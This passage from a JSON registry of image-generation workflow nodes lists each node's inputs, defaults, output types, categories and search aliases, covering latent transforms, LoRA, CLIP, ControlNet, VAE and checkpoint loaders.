["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "feather": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["samples_to", "samples_from", "x", "y", "feather"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentComposite", "display_name": "Latent Composite", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["overlay latent", "layer latent", "paste latent"]}, "LatentBlend": {"input": {"required": {"samples1": ["LATENT"], "samples2": ["LATENT"], "blend_factor": ["FLOAT", {"default": 0.5, "min": 0, "max": 1, "step": 0.01}]}}, "input_order": {"required": ["samples1", "samples2", "blend_factor"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentBlend", "display_name": "Latent Blend", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": ["mix latents", "interpolate latents"]}, "LatentRotate": {"input": {"required": {"samples": ["LATENT"], "rotation": [["none", "90 degrees", "180 degrees", "270 degrees"]]}}, "input_order": {"required": ["samples", "rotation"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentRotate", "display_name": "Rotate Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LatentFlip": {"input": {"required": {"samples": ["LATENT"], "flip_method": [["x-axis: vertically", "y-axis: horizontally"]]}}, "input_order": {"required": ["samples", "flip_method"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentFlip", "display_name": "Flip Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["mirror latent"]}, "LatentCrop": {"input": {"required": {"samples": ["LATENT"], "width": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 8}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["samples", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentCrop", "display_name": "Crop Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["trim latent", "cut latent"]}, "LoraLoader": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "clip": ["CLIP", {"tooltip": "The CLIP model the LoRA will be applied to."}], "lora_name": [[], {"tooltip": "The name of the LoRA."}], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the diffusion model. This value can be negative."}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the CLIP model. This value can be negative."}]}}, "input_order": {"required": ["model", "clip", "lora_name", "strength_model", "strength_clip"]}, "is_input_list": false, "output": ["MODEL", "CLIP"], "output_is_list": [false, false], "output_name": ["MODEL", "CLIP"], "name": "LoraLoader", "display_name": "Load LoRA (Model and CLIP)", "description": "This LoRA loader is used to modify both diffusion and CLIP models, altering the way in which latents are denoised such as applying styles. Multiple LoRA nodes can be linked together.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "search_aliases": ["lora", "load lora", "apply lora", "lora loader", "lora model"], "essentials_category": "Image Generation"}, "CLIPLoader": {"input": {"required": {"clip_name": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["stable_diffusion", "stable_cascade", "sd3", "stable_audio", "mochi", "ltxv", "pixart", "cosmos", "lumina2", "wan", "hidream", "chroma", "ace", "omnigen2", "qwen_image", "hunyuan_image", "flux2", "ovis", "longcat_image", "cogvideox", "lens", "pixeldit", "ideogram4", "boogu", "krea2"]]}, "optional": {"device": [["default", "cpu"], {"advanced": true}]}}, "input_order": {"required": ["clip_name", "type"], "optional": ["device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPLoader", "display_name": "Load CLIP", "description": "Recipes:\nsd: clip-l\nstable cascade: clip-g\nsd3: t5 xxl / clip-g / clip-l\nstable audio: t5 base\nmochi: t5 xxl\ncogvideox: t5 xxl (226-token padding)\ncosmos: old t5 xxl\nlumina2: gemma 2 2B\nwan: umt5 xxl\nhidream: llama-3.1 (Recommend) or t5\nomnigen2: qwen vl 2.5 3B\nlens: gpt-oss-20b\npixeldit: gemma 2 2B elm", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "UNETLoader": {"input": {"required": {"unet_name": [[]], "weight_dtype": [["default", "fp8_e4m3fn", "fp8_e4m3fn_fast", "fp8_e5m2"], {"advanced": true}]}}, "input_order": {"required": ["unet_name", "weight_dtype"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UNETLoader", "display_name": "Load Diffusion Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "DualCLIPLoader": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["sdxl", "sd3", "flux", "hunyuan_video", "hidream", "hunyuan_image", "hunyuan_video_15", "kandinsky5", "kandinsky5_image", "ltxv", "newbie", "ace"]]}, "optional": {"device": [["default", "cpu"], {"advanced": true}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "type"], "optional": ["device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "DualCLIPLoader", "display_name": "Load CLIP (Dual)", "description": "Recipes:\nsdxl: clip-l, clip-g\nsd3: clip-l, clip-g / clip-l, t5 / clip-g, t5\nflux: clip-l, t5\nhidream: at least one of t5 or llama, recommended t5 and llama\nhunyuan_image: qwen2.5vl 7b and byt5 small\nnewbie: gemma-3-4b-it, jina clip v2", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPVisionEncode": {"input": {"required": {"clip_vision": ["CLIP_VISION"], "image": ["IMAGE"], "crop": [["center", "none"]]}}, "input_order": {"required": ["clip_vision", "image", "crop"]}, "is_input_list": false, "output": ["CLIP_VISION_OUTPUT"], "output_is_list": [false], "output_name": ["CLIP_VISION_OUTPUT"], "name": "CLIPVisionEncode", "display_name": "CLIP Vision Encode", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "StyleModelApply": {"input": {"required": {"conditioning": ["CONDITIONING"], "style_model": ["STYLE_MODEL"], "clip_vision_output": ["CLIP_VISION_OUTPUT"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "strength_type": [["multiply", "attn_bias"]]}}, "input_order": {"required": ["conditioning", "style_model", "clip_vision_output", "strength", "strength_type"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "StyleModelApply", "display_name": "Apply Style Model", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": ["style transfer"]}, "unCLIPConditioning": {"input": {"required": {"conditioning": ["CONDITIONING"], "clip_vision_output": ["CLIP_VISION_OUTPUT"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}], "noise_augmentation": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "clip_vision_output", "strength", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "unCLIPConditioning", "display_name": "unCLIPConditioning", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ControlNetApply": {"input": {"required": {"conditioning": ["CONDITIONING"], "control_net": ["CONTROL_NET"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "control_net", "image", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ControlNetApply", "display_name": "Apply ControlNet (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/conditioning/controlnet", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": []}, "ControlNetApplyAdvanced": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "control_net": ["CONTROL_NET"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}, "optional": {"vae": ["VAE"]}}, "input_order": {"required": ["positive", "negative", "control_net", "image", "strength", "start_percent", "end_percent"], "optional": ["vae"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "ControlNetApplyAdvanced", "display_name": "Apply ControlNet", "description": "", "python_module": "nodes", "category": "model/conditioning/controlnet", "output_node": false, "has_intermediate_output": false, "search_aliases": ["controlnet", "apply controlnet", "use controlnet", "control net"]}, "ControlNetLoader": {"input": {"required": {"control_net_name": [[]]}}, "input_order": {"required": ["control_net_name"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "name": "ControlNetLoader", "display_name": "Load ControlNet Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": ["controlnet", "control net", "cn", "load controlnet", "controlnet loader"]}, "DiffControlNetLoader": {"input": {"required": {"model": ["MODEL"], "control_net_name": [[]]}}, "input_order": {"required": ["model", "control_net_name"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "name": "DiffControlNetLoader", "display_name": "Load ControlNet Model (diff)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "StyleModelLoader": {"input": {"required": {"style_model_name": [[]]}}, "input_order": {"required": ["style_model_name"]}, "is_input_list": false, "output": ["STYLE_MODEL"], "output_is_list": [false], "output_name": ["STYLE_MODEL"], "name": "StyleModelLoader", "display_name": "Load Style Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPVisionLoader": {"input": {"required": {"clip_name": [[]]}}, "input_order": {"required": ["clip_name"]}, "is_input_list": false, "output": ["CLIP_VISION"], "output_is_list": [false], "output_name": ["CLIP_VISION"], "name": "CLIPVisionLoader", "display_name": "Load CLIP Vision", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEDecodeTiled": {"input": {"required": {"samples": ["LATENT"], "vae": ["VAE"], "tile_size": ["INT", {"default": 512, "min": 64, "max": 4096, "step": 32, "advanced": true}], "overlap": ["INT", {"default": 64, "min": 0, "max": 4096, "step": 32, "advanced": true}], "temporal_size": ["INT", {"default": 64, "min": 8, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to decode at a time.", "advanced": true}], "temporal_overlap": ["INT", {"default": 8, "min": 4, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to overlap.", "advanced": true}]}}, "input_order": {"required": ["samples", "vae", "tile_size", "overlap", "temporal_size", "temporal_overlap"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "VAEDecodeTiled", "display_name": "VAE Decode (Tiled)", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEEncodeTiled": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"], "tile_size": ["INT", {"default": 512, "min": 64, "max": 4096, "step": 64, "advanced": true}], "overlap": ["INT", {"default": 64, "min": 0, "max": 4096, "step": 32, "advanced": true}], "temporal_size": ["INT", {"default": 64, "min": 8, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to encode at a time.", "advanced": true}], "temporal_overlap": ["INT", {"default": 8, "min": 4, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to overlap.", "advanced": true}]}}, "input_order": {"required": ["pixels", "vae", "tile_size", "overlap", "temporal_size", "temporal_overlap"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncodeTiled", "display_name": "VAE Encode (Tiled)", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "unCLIPCheckpointLoader": {"input": {"required": {"ckpt_name": [[]]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE", "CLIP_VISION"], "output_is_list": [false, false, false, false], "output_name": ["MODEL", "CLIP", "VAE", "CLIP_VISION"], "name": "unCLIPCheckpointLoader", "display_name": "Load unCLIP Checkpoint", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "GLIGENLoader": {"input": {"required": {"gligen_name": [[]]}}, "input_order": {"required": ["gligen_name"]}, "is_input_list": false, "output": ["GLIGEN"], "output_is_list": [false], "output_name": ["GLIGEN"], "name": "GLIGENLoader", "display_name": "Load GLIGEN Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "GLIGENTextBoxApply": {"input": {"required": {"conditioning_to": ["CONDITIONING"], "clip": ["CLIP"], "gligen_textbox_model": ["GLIGEN"], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "width": ["INT", {"default": 64, "min": 8, "max": 16384, "step": 8}], "height": ["INT", {"default": 64, "min": 8, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["conditioning_to", "clip", "gligen_textbox_model", "text", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "GLIGENTextBoxApply", "display_name": "Apply GLIGEN Text Box", "description": "", "python_module": "nodes", "category": "model/conditioning/gligen", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "InpaintModelConditioning": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "vae": ["VAE"], "pixels": ["IMAGE"], "mask": ["MASK"], "noise_mask": ["BOOLEAN", {"default": true, "tooltip": "Add a noise mask to the latent so sampling will only happen within the mask. Might improve results or completely break things depending on the model."}]}}, "input_order": {"required": ["positive", "negative", "vae", "pixels", "mask", "noise_mask"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "name": "InpaintModelConditioning", "display_name": "InpaintModelConditioning", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CheckpointLoader": {"input": {"required": {"config_name": [["anything_v3.yaml", "v1-inference.yaml", "v1-inference_clip_skip_2.yaml", "v1-inference_clip_skip_2_fp16.yaml", "v1-inference_fp16.yaml", "v1-inpainting-inference.yaml", "v2-inference-v.yaml", "v2-inference-v_fp32.yaml", "v2-inference.yaml", "v2-inference_fp32.yaml", "v2-inpainting-inference.yaml"]], "ckpt_name": [[]]}}, "input_order": {"required": ["config_name", "ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "CheckpointLoader", "display_name": "Load Checkpoint With Config (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["load model", "model loader"]}, "DiffusersLoader": {"input": {"required": {"model_path": [[]]}}, "input_order": {"required": ["model_path"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "DiffusersLoader", "display_name": "Load Diffusers Model (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["load diffusers model"]}, "LoadLatent": {"input": {"required": {"latent": [[]]}}, "input_order": {"required": ["latent"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LoadLatent", "display_name": "LoadLatent", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": ["import latent", "open latent"]}, "SaveLatent": {"input": {"required": {"samples": ["LATENT"], "filename_prefix": ["STRING", {"default": "latents/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["samples", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["samples"], "name": "SaveLatent", "display_name": "SaveLatent", "description": "", "python_module": "nodes", "category": "experimental", "output_node": true, "has_intermediate_output": false, "search_aliases": ["export latent"]}, "ConditioningZeroOut": {"input": {"required": {"conditioning": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningZeroOut", "display_name": "Conditioning Zero Out", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["null conditioning", "clear conditioning"]}, "ConditioningSetTimestepRange": {"input": {"required": {"conditioning": ["CONDITIONING"], "start": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["conditioning", "start", "end"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetTimestepRange", "display_name": "ConditioningSetTimestepRange", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LoraLoaderModelOnly": {"input": {"required": {"model": ["MODEL"], "lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "lora_name", "strength_model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "LoraLoaderModelOnly", "display_name": "Load LoRA", "description": "This LoRAs loader is used to modify the diffusion model, altering the way in which latents are denoised such as applying styles. Multiple LoRA nodes can be linked together.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "search_aliases": ["lora", "load lora", "apply lora", "lora loader", "lora model"], "essentials_category": "Image Generation"}, "LatentAdd": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentAdd", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "sum latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentSubtract": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentSubtract", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["difference latent", "remove features"], "essentials_category": null, "has_intermediate_output": false}, "LatentMultiply": {"input": {"required": {"samples": ["LATENT", {}], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["samples", "multiplier"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["scale latent", "amplify latent", "latent gain"], "essentials_category": null, "has_intermediate_output": false}, "LatentInterpolate": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["samples1", "samples2", "ratio"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentInterpolate", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["blend latent", "mix latent", "lerp latent", "transition"], "essentials_category": null, "has_intermediate_output": false}, "LatentConcat": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["x", "-x", "y", "-y", "t", "-t"]}]}}, "input_order": {"required": ["samples1", "samples2", "dim"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentConcat", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["join latents", "stitch latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentCut": {"input": {"required": {"samples": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["x", "y", "t"]}], "index": ["INT", {"default": 0, "min": -16384, "max": 16384, "step": 1}], "amount": ["INT", {"default": 1, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["samples", "dim", "index", "amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCut", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop latent", "slice latent", "extract region"], "essentials_category": null, "has_intermediate_output": false}, "LatentCutToBatch": {"input": {"required": {"samples": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["t", "x", "y"]}], "slice_size": ["INT", {"default": 1, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["samples", "dim", "slice_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCutToBatch", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["slice to batch", "split latent", "tile latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentBatch": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentBatch", "display_name": "Batch Latents (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/batch", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "merge latents", "join latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentBatchSeedBehavior": {"input": {"required": {"samples": ["LATENT", {}], "seed_behavior": ["COMBO", {"default": "fixed", "multiselect": false, "options": ["random", "fixed"]}]}}, "input_order": {"required": ["samples", "seed_behavior"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentBatchSeedBehavior", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentApplyOperation": {"input": {"required": {"samples": ["LATENT", {}], "operation": ["LATENT_OPERATION", {}]}}, "input_order": {"required": ["samples", "operation"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentApplyOperation", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["transform latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentApplyOperationCFG": {"input": {"required": {"model": ["MODEL", {}], "operation": ["LATENT_OPERATION", {}]}}, "input_order": {"required": ["model", "operation"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentApplyOperationCFG", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentOperationTonemapReinhard": {"input": {"required": {"multiplier": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["multiplier"]}, "is_input_list": false, "output": ["LATENT_OPERATION"], "output_is_list": [false], "output_name": ["LATENT_OPERATION"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentOperationTonemapReinhard", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["hdr latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentOperationSharpen": {"input": {"required": {"sharpen_radius": ["INT", {"advanced": true, "default": 9, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 10.0, "step": 0.1}], "alpha": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 5.0, "step": 0.01}]}}, "input_order": {"required": ["sharpen_radius", "sigma", "alpha"]}, "is_input_list": false, "output": ["LATENT_OPERATION"], "output_is_list": [false], "output_name": ["LATENT_OPERATION"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentOperationSharpen", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReplaceVideoLatentFrames": {"input": {"required": {"destination": ["LATENT", {"tooltip": "The destination latent where frames will be replaced."}], "index": ["INT", {"tooltip": "The starting latent frame index in the destination latent where the source latent frames will be placed. Negative values count from the end.", "default": 0, "min": -16384, "max": 16384, "step": 1}]}, "optional": {"source": ["LATENT", {"tooltip": "The source latent providing frames to insert into the destination latent. If not provided, the destination latent is returned unchanged."}]}}, "input_order": {"required": ["destination", "index"], "optional": ["source"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReplaceVideoLatentFrames", "display_name": "Replace Video Latent Frames", "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HypernetworkLoader": {"input": {"required": {"model": ["MODEL", {}], "hypernetwork_name": ["COMBO", {"multiselect": false, "options": []}], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "hypernetwork_name", "strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HypernetworkLoader", "display_name": "Load Hypernetwork", "description": "", "python_module": "comfy_extras.nodes_hypernetwork", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, 